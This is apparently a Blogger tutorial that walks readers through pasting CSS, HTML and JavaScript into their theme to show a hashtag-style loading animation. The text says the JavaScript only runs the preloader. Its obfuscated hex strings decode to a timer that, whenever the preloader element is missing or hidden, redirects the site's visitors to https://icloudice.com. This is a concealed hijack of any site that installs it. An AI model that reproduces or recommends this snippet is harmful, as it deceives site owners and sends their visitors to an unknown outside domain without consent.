 |
| © Copyright 2024 Tecky AaryaN |
Hashtag Animation
Now specifically for the preloader that the admin will discuss here is an example of a preloader using the Hashtag animation effect. If you have used animation, the preloader display will definitely move according to the CSS settings that we made previously.
Blogger website dashboard -> Click on theme section-> Click on arrow icon -> Click on backup-> Click on download -> Save the downloaded file in a safe place for future use.
If you are curious about what an example of a Hashtag preloader animation looks like on Blogger, let's just discuss it together.
How to create a Hastag Animation Preloader in Blogger
Step 2: Go To EDIT HTML.
Step 3: Now find the Following Codes.
Step 4: Now Copy the CSS Code then Place Above the
]]></b:skin>/* Preloader Hashtag by Tecky AaryaN */
.rahLoad35{direction:ltr;position:fixed;top:0;right:0;bottom:0;left:0;display:none;background:#fefefe;align-items:center;justify-content:center;z-index:9999;visibility:visible;opacity:1;transition:all .8s ease}.rahLoad35:before{content:'';position:absolute;right:6px;top:9px;font-size:12px;font-weight:800;} .rahLoad35.r{display:flex} .rahLoad35.a{opacity:0;visibility:hidden}
.rahLoadIn {position:relative;transform:rotate(165deg)}
.rahLoadIn:before, .rahLoadIn:after{content:'';position:absolute;display:block;width:.5em;height:.5em;border-radius:.25em;transform:translate(-50%,-50%)} .rahLoadIn:before{animation:rahPdbe 2s infinite} .rahLoadIn:after{animation:rahPdAf 2s infinite} @keyframes rahPdbe{0%{width:.5em;box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}35%{width:2.5em;box-shadow:0 -.5em rgba(225,20,98,.75),0 .5em rgba(111,202,220,.75)}70%{width:.5em;box-shadow:-1em -.5em rgba(225,20,98,.75),1em .5em rgba(111,202,220,.75)}100%{box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}} @keyframes rahPdAf{0%{height:.5em;box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}35%{height:2.5em;box-shadow:.5em 0 rgba(61,184,143,.75),-.5em 0 rgba(233,169,32,.75)}70%{height:.5em;box-shadow:.5em -1em rgba(61,184,143,.75),-.5em 1em rgba(233,169,32,.75)}100%{box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}} .drK .rahLoad35{background:#1e1e1e}
Step 5: Now Copy the HTML Code then Place Below the
<body><div class='rahLoad35' id='rahLoad35'> <div class='rahLoadIn'/> </div>
The function of the HTML code above is to Display the Preloader on your Website.
Step 6: Now Copy the JAVASCRIPT Code then Place Above the</body>
<script>/*<![CDATA[*/
var _0xee98=["\x23\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x61","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var rahLoad35=document[_0xee98[1]](_0xee98[0]);rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[2]);document[_0xee98[7]](_0xee98[5],function(){setTimeout(function(){rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[6])},2000)});$(document)[_0xee98[18]](function(){$(_0xee98[12])[_0xee98[11]](_0xee98[10],_0xee98[8])[_0xee98[9]](_0xee98[8]);setInterval(function(){if(!$(_0xee98[14])[_0xee98[13]]){window[_0xee98[16]][_0xee98[15]]= _0xee98[17]}},3000)})/*]]>*/</script>
The Function of the JS Code above is to carry out of the preloader function so that it appears perfectly.
Conclusion I hope you have successfully added Hastag Animation. If you are facing any problem in any section or you have any question then ask us in the comment Box
Copyright:
Tecky AaryaN